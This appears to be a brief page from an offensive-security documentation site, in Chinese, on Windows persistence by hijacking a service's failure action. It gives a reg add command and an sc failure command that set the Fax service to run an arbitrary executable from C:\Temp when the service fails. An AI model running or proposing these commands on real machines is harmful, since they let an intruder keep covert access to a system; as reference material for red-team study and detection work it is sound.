> For the complete documentation index, see [llms.txt](https://docs.qwqdanchun.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.qwqdanchun.com/persistence/service/hijack-service.md).

# 劫持服务

劫持关闭事件：

```
#REG
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fax" /v FailureCommand /t REG_SZ /d "C:\Temp\qwqdanchun.exe" /f

#SC
sc failure Fax command= "\"C:\Temp\qwqdanchun.exe\""
```